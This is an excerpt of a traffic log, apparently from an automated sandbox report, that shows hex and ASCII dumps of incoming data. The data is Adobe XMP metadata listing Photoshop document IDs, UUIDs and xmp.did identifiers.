<rdf:li>F1B8D8C19FE0710CA697DF92DBBB9487</rdf:li> <rdf:li>F1C42DC1CC468F7C24BBECC90D036414</rdf:li> <rdf:li>F1D2B1E2D796893B1B162AA49C5302A6</rdf:li> <rdf:l
2022-07-20 17:31:06 UTC	3683	IN	Data Raw: 66 3a 6c 69 3e 46 38 35 41 32 35 30 30 30 33 35 31 46 46 44 46 31 30 46 39 44 46 31 30 36 30 42 39 43 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 36 41 36 46 31 37 37 39 31 36 39 37 38 39 33 45 32 42 36 36 33 44 35 34 36 41 42 31 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 38 33 36 32 37 46 34 37 31 31 35 44 37 30 35 31 46 31 37 43 46 35 36 33 41 35 39 45 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 38 37 39 30 31 43 41 41 43 44 39 43 37 30 46 43 31 39 39 41 30 30 38 35 39 39 34 39 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 38 38 38 36 30 36 41 35 41 43 45 46 41 44 36 41 41 44 45 38 38 45 31 38 31 45 44 42 41 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>F85A25000351FFDF10F9DF1060B9C6FC</rdf:li> <rdf:li>F86A6F17791697893E2B663D546AB193</rdf:li> <rdf:li>F883627F47115D7051F17CF563A59E7C</rdf:li> <rdf:li>F887901CAACD9C70FC199A00859949B1</rdf:li> <rdf:li>F888606A5ACEFAD6AADE88E181EDBA46</rdf:li> <rdf:li>
2022-07-20 17:31:06 UTC	3699	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 36 31 33 63 66 30 32 2d 35 62 66 63 2d 31 31 37 38 2d 61 63 35 38 2d 62 38 30 31 33 63 65 34 32 61 39 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 36 35 36 34 62 62 31 2d 64 61 33 36 2d 31 31 65 34 2d 39 38 33 34 2d 38 64 64 62 35 34 62 63 31 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 36 63 63 65 35 31 30 2d 61 64 31 34 2d 31 31 37 38 2d 38 35 33 62 2d 66 62 36 62 33 36 34 33 34 63 39 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 Data Ascii: /rdf:li> <rdf:li>adobe:docid:photoshop:1613cf02-5bfc-1178-ac58-b8013ce42a9e</rdf:li> <rdf:li>adobe:docid:photoshop:16564bb1-da36-11e4-9834-8ddb54bc1907</rdf:li> <rdf:li>adobe:docid:photoshop:16cce510-ad14-1178-853b-fb6b36434c9b</rdf:li> <rdf:li>adobe:doci
2022-07-20 17:31:06 UTC	3715	IN	Data Raw: 63 34 32 2d 38 38 66 31 2d 31 31 65 35 2d 38 31 32 61 2d 62 39 30 37 37 30 64 31 37 31 65 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 36 65 39 65 32 31 35 2d 35 30 63 33 2d 31 31 64 63 2d 62 36 66 34 2d 65 62 31 35 33 64 30 65 32 65 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 37 38 39 62 31 63 36 2d 62 31 64 61 2d 31 31 65 36 2d 39 33 37 65 2d 39 62 39 35 31 34 38 36 37 31 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 37 61 36 61 66 34 65 2d 30 37 66 36 2d 31 31 37 38 2d 61 31 31 34 2d 64 61 36 34 64 64 31 33 Data Ascii: c42-88f1-11e5-812a-b90770d171e4</rdf:li> <rdf:li>adobe:docid:photoshop:46e9e215-50c3-11dc-b6f4-eb153d0e2e04</rdf:li> <rdf:li>adobe:docid:photoshop:4789b1c6-b1da-11e6-937e-9b9514867191</rdf:li> <rdf:li>adobe:docid:photoshop:47a6af4e-07f6-1178-a114-da64dd13
2022-07-20 17:31:06 UTC	3722	IN	Data Raw: 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 66 66 63 65 34 61 61 2d 31 38 64 32 2d 65 37 34 62 2d 62 33 32 61 2d 65 38 34 64 36 65 32 34 62 37 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 32 61 33 38 35 61 2d 32 65 37 64 2d 31 31 37 38 2d 39 66 35 30 2d 64 30 63 61 30 39 34 32 63 37 63 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 34 63 66 32 33 37 2d 62 36 61 65 2d 31 31 65 31 2d 62 36 61 36 2d 64 32 65 36 37 34 30 63 33 37 61 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 30 35 64 Data Ascii: >adobe:docid:photoshop:5ffce4aa-18d2-e74b-b32a-e84d6e24b748</rdf:li> <rdf:li>adobe:docid:photoshop:602a385a-2e7d-1178-9f50-d0ca0942c7ca</rdf:li> <rdf:li>adobe:docid:photoshop:604cf237-b6ae-11e1-b6a6-d2e6740c37af</rdf:li> <rdf:li>adobe:docid:photoshop:605d
2022-07-20 17:31:06 UTC	3738	IN	Data Raw: 64 64 2d 61 34 33 36 31 32 32 64 30 64 33 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 65 35 30 31 31 38 30 2d 61 63 65 31 2d 31 31 65 36 2d 61 34 31 36 2d 39 65 39 62 33 62 65 30 30 35 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 66 30 62 34 61 64 34 2d 35 36 34 62 2d 31 31 65 36 2d 62 62 32 66 2d 39 31 61 61 30 34 33 63 31 65 34 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 69 67 37 52 59 41 76 2d 58 78 38 6b 2d 41 31 4b 39 2d 45 4b 39 6d 2d 49 56 67 43 47 45 32 73 48 47 77 52 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: dd-a436122d0d3f</rdf:li> <rdf:li>adobe:docid:photoshop:8e501180-ace1-11e6-a416-9e9b3be00549</rdf:li> <rdf:li>adobe:docid:photoshop:8f0b4ad4-564b-11e6-bb2f-91aa043c1e4a</rdf:li> <rdf:li>adobe:docid:photoshop:8ig7RYAv-Xx8k-A1K9-EK9m-IVgCGE2sHGwR</rdf:li> <r
2022-07-20 17:31:06 UTC	3754	IN	Data Raw: 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 36 65 31 37 31 36 2d 64 32 30 31 2d 31 31 64 61 2d 61 33 30 64 2d 64 62 62 39 31 36 66 35 30 34 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 Data Ascii: :photoshop:c36e1716-d201-11da-a30d-dbb916f5049d</rdf:li> <rdf:li>adobe:docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11
2022-07-20 17:31:06 UTC	3762	IN	Data Raw: 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 Data Ascii: ec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>adobe:d
2022-07-20 17:31:06 UTC	3778	IN	Data Raw: 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 33 44 37 46 38 44 46 35 46 45 44 46 31 31 38 46 34 31 42 41 37 46 34 30 44 45 44 43 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 34 36 35 34 42 46 33 32 36 33 44 44 31 31 38 38 35 30 44 30 39 38 38 41 37 36 33 34 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 34 41 34 35 30 39 34 38 31 31 44 46 31 31 41 42 30 30 42 35 38 38 45 39 32 38 32 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 36 37 38 44 33 36 32 46 33 38 45 34 31 31 38 41 46 43 42 38 34 35 36 41 37 30 32 38 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 34 37 34 45 36 35 39 46 44 Data Ascii: 59</rdf:li> <rdf:li>uuid:143D7F8DF5FEDF118F41BA7F40DEDC4A</rdf:li> <rdf:li>uuid:144654BF3263DD118850D0988A76346D</rdf:li> <rdf:li>uuid:144A45094811DF11AB00B588E92826D6</rdf:li> <rdf:li>uuid:14678D362F38E4118AFCB8456A7028AB</rdf:li> <rdf:li>uuid:1474E659FD
2022-07-20 17:31:06 UTC	5142	IN	Data Raw: 41 37 36 42 39 32 34 33 36 42 33 42 44 39 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 32 32 31 37 39 35 46 35 31 45 44 44 31 31 38 31 43 43 46 39 38 43 33 36 41 38 41 43 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 33 31 39 38 35 33 35 44 39 44 31 31 44 45 38 45 38 32 45 38 30 38 31 34 43 36 43 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 35 36 41 38 44 43 33 34 30 43 44 44 31 31 42 37 44 44 42 45 44 41 30 36 41 31 32 32 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 43 38 36 42 33 45 36 32 39 45 36 45 30 31 31 42 39 46 44 46 30 37 43 38 41 35 30 39 39 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: A76B92436B3BD9BD</rdf:li> <rdf:li>uuid:4C221795F51EDD1181CCF98C36A8AC20</rdf:li> <rdf:li>uuid:4C3198535D9D11DE8E82E80814C6CD80</rdf:li> <rdf:li>uuid:4C56A8DC340CDD11B7DDBEDA06A1225E</rdf:li> <rdf:li>uuid:4C86B3E629E6E011B9FDF07C8A509973</rdf:li> <rdf:li>u
2022-07-20 17:31:06 UTC	5149	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 31 39 45 41 38 42 33 46 42 44 42 44 43 31 31 41 33 36 39 43 45 44 32 42 37 34 43 44 34 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 30 41 43 44 37 38 37 30 34 39 45 30 31 31 38 45 37 31 41 43 45 35 46 31 46 43 38 45 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 37 37 32 39 46 36 46 33 34 45 45 30 31 31 41 33 38 31 38 43 35 34 30 33 46 46 38 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 38 42 33 30 35 39 41 38 34 35 44 46 31 31 42 35 34 34 43 41 38 45 43 43 31 31 38 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 32 39 41 41 36 41 43 31 32 43 37 44 42 31 31 Data Ascii: f:li> <rdf:li>uuid:619EA8B3FBDBDC11A369CED2B74CD410</rdf:li> <rdf:li>uuid:620ACD787049E0118E71ACE5F1FC8E6D</rdf:li> <rdf:li>uuid:627729F6F34EE011A3818C5403FF86EA</rdf:li> <rdf:li>uuid:628B3059A845DF11B544CA8ECC118138</rdf:li> <rdf:li>uuid:629AA6AC12C7DB11
2022-07-20 17:31:06 UTC	5165	IN	Data Raw: 35 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 45 34 39 32 43 44 46 45 46 38 44 45 31 31 39 37 46 32 43 37 45 31 45 44 44 41 43 32 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 45 36 35 30 42 32 36 42 33 34 45 30 31 31 39 35 36 30 44 36 39 43 35 38 39 38 45 34 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 45 43 30 43 33 43 43 35 34 41 31 31 44 45 42 36 43 35 38 30 34 30 36 45 44 39 31 34 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 34 46 41 43 34 35 38 34 46 32 46 44 44 31 31 42 44 35 33 44 45 43 42 42 32 35 42 36 31 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:94E492CDFEF8DE1197F2C7E1EDDAC27E</rdf:li> <rdf:li>uuid:94E650B26B34E0119560D69C5898E421</rdf:li> <rdf:li>uuid:94EC0C3CC54A11DEB6C580406ED914EA</rdf:li> <rdf:li>uuid:94FAC4584F2FDD11BD53DECBB25B6129</rdf:li> <r
2022-07-20 17:31:06 UTC	5181	IN	Data Raw: 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 35 35 45 35 45 34 43 37 31 42 45 30 31 31 38 38 39 35 41 33 38 43 42 42 45 33 38 32 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 35 41 34 46 34 46 35 44 42 38 44 46 31 31 41 35 33 41 41 30 45 39 41 42 31 43 37 30 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 35 44 43 33 38 36 33 44 38 36 31 31 44 43 39 46 32 41 43 46 44 37 31 32 45 41 34 41 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 37 36 41 39 41 45 38 42 36 39 44 46 31 31 39 45 34 33 46 43 36 36 42 38 43 39 44 33 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 45 41 37 38 41 44 46 33 31 41 Data Ascii: 9</rdf:li> <rdf:li>uuid:CE55E5E4C71BE0118895A38CBBE38262</rdf:li> <rdf:li>uuid:CE5A4F4F5DB8DF11A53AA0E9AB1C70AF</rdf:li> <rdf:li>uuid:CE5DC3863D8611DC9F2ACFD712EA4A7F</rdf:li> <rdf:li>uuid:CE76A9AE8B69DF119E43FC66B8C9D3DD</rdf:li> <rdf:li>uuid:CEA78ADF31A
2022-07-20 17:31:06 UTC	5189	IN	Data Raw: 44 45 46 31 44 45 31 31 42 43 31 42 43 42 31 34 39 36 45 46 36 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 33 33 32 36 30 45 30 38 42 38 31 31 44 45 39 32 30 46 39 35 34 33 45 44 44 43 33 41 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 41 34 38 43 33 37 39 46 37 41 31 31 44 45 38 42 38 36 39 44 34 38 46 44 38 46 32 34 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 41 34 38 43 33 42 39 46 37 41 31 31 44 45 38 42 38 36 39 44 34 38 46 44 38 46 32 34 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 44 42 45 46 39 45 42 41 43 37 45 45 36 31 31 38 45 33 42 41 34 36 37 46 32 45 31 45 46 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: DEF1DE11BC1BCB1496EF66FC</rdf:li> <rdf:li>uuid:ED33260E08B811DE920F9543EDDC3AD4</rdf:li> <rdf:li>uuid:EDA48C379F7A11DE8B869D48FD8F24D1</rdf:li> <rdf:li>uuid:EDA48C3B9F7A11DE8B869D48FD8F24D1</rdf:li> <rdf:li>uuid:EDBEF9EBAC7EE6118E3BA467F2E1EFAB</rdf:li> <
2022-07-20 17:31:06 UTC	5205	IN	Data Raw: 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 43 42 33 39 31 44 39 44 30 34 30 33 36 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 46 36 46 41 36 33 38 39 46 46 38 34 36 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 31 36 41 43 37 43 44 39 35 33 44 41 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 42 31 38 44 43 46 37 35 46 43 37 37 31 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 Data Ascii: i>xmp.did:0180117407206811ACB391D9D04036C8</rdf:li> <rdf:li>xmp.did:0180117407206811AF6FA6389FF84604</rdf:li> <rdf:li>xmp.did:0180117407206811B116AC7CD953DADF</rdf:li> <rdf:li>xmp.did:0180117407206811B18DCF75FC771844</rdf:li> <rdf:li>xmp.did:0180117407206
2022-07-20 17:31:06 UTC	5221	IN	Data Raw: 39 32 42 30 43 36 33 44 43 43 30 38 33 36 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 45 37 41 36 41 32 38 31 42 31 32 35 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 45 33 44 42 44 32 37 35 44 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 42 42 38 45 32 44 39 39 41 36 37 36 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 35 46 45 43 31 35 30 35 35 44 46 37 35 39 41 3c 2f 72 64 66 3a 6c Data Ascii: 92B0C63DCC0836E2</rdf:li> <rdf:li>xmp.did:058011740720681192E7A6A281B12522</rdf:li> <rdf:li>xmp.did:05801174072068119457E3DBD275DF87</rdf:li> <rdf:li>xmp.did:058011740720681195BB8E2D99A676D6</rdf:li> <rdf:li>xmp.did:058011740720681195FEC15055DF759A</rdf:l
2022-07-20 17:31:06 UTC	5229	IN	Data Raw: 34 32 36 36 38 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 36 41 31 31 36 39 42 31 38 45 32 31 31 39 46 33 35 46 44 46 32 30 45 45 33 34 33 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 32 61 63 30 38 65 2d 36 62 33 64 2d 34 31 32 31 2d 61 38 34 32 2d 30 36 35 61 35 30 64 38 34 37 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 33 36 45 42 42 35 45 35 42 35 44 46 31 31 39 31 34 34 42 45 44 44 38 42 30 43 42 46 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 35 30 38 39 61 30 2d 39 32 38 61 2d 35 61 34 62 2d 38 39 32 61 2d 63 63 34 33 66 37 37 66 64 39 33 38 3c 2f 72 64 66 3a 6c Data Ascii: 426685F3</rdf:li> <rdf:li>xmp.did:0826A1169B18E2119F35FDF20EE34307</rdf:li> <rdf:li>xmp.did:082ac08e-6b3d-4121-a842-065a50d847a4</rdf:li> <rdf:li>xmp.did:0836EBB5E5B5DF119144BEDD8B0CBFDF</rdf:li> <rdf:li>xmp.did:085089a0-928a-5a4b-892a-cc43f77fd938</rdf:l
2022-07-20 17:31:06 UTC	5245	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 31 33 38 41 41 32 37 35 42 36 33 45 31 31 45 35 42 32 37 32 44 41 42 44 45 30 30 39 38 35 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 38 43 43 35 34 45 39 44 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 39 33 32 34 33 41 31 33 32 30 36 38 31 31 41 46 46 44 43 42 34 34 35 31 42 35 34 38 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 42 42 46 33 42 30 30 41 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 62 62 62 39 30 61 2d 36 66 62 66 2d Data Ascii: >xmp.did:138AA275B63E11E5B272DABDE00985B8</rdf:li> <rdf:li>xmp.did:138CC54E9D226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:1393243A13206811AFFDCB4451B5484D</rdf:li> <rdf:li>xmp.did:13BBF3B00A206811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:13bbb90a-6fbf-
2022-07-20 17:31:06 UTC	5261	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 32 33 44 30 31 44 32 41 41 45 32 30 36 38 31 31 38 37 31 46 44 46 41 43 34 39 36 35 33 34 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 46 39 44 32 36 35 31 37 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 46 41 42 31 43 37 45 44 46 31 45 31 31 31 42 30 30 37 38 30 41 44 35 34 37 46 44 30 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 61 31 62 39 33 39 2d 35 38 62 37 2d 34 64 34 30 2d 62 33 38 33 2d 65 38 33 36 32 34 62 33 64 65 63 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 34 31 44 45 42 34 45 30 46 Data Ascii: >xmp.did:23D01D2AAE206811871FDFAC49653455</rdf:li> <rdf:li>xmp.did:23F9D265172068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:23FAB1C7EDF1E111B00780AD547FD0D3</rdf:li> <rdf:li>xmp.did:23a1b939-58b7-4d40-b383-e83624b3dec6</rdf:li> <rdf:li>xmp.did:241DEB4E0F
2022-07-20 17:31:07 UTC	6030	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 41 44 44 41 38 37 37 34 32 31 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 42 30 45 33 41 31 31 32 46 39 44 46 31 31 42 46 43 43 46 31 38 45 34 46 45 30 43 30 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 44 35 46 44 32 34 32 32 32 33 36 38 31 31 38 30 38 33 42 35 33 34 33 36 30 39 35 35 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 30 37 33 36 41 46 46 35 41 36 44 46 31 31 38 39 37 37 41 45 45 32 41 38 37 44 35 34 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 32 34 42 46 34 36 Data Ascii: rdf:li>xmp.did:2BADDA87742168118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:2BB0E3A112F9DF11BFCCF18E4FE0C029</rdf:li> <rdf:li>xmp.did:2BD5FD24222368118083B534360955E9</rdf:li> 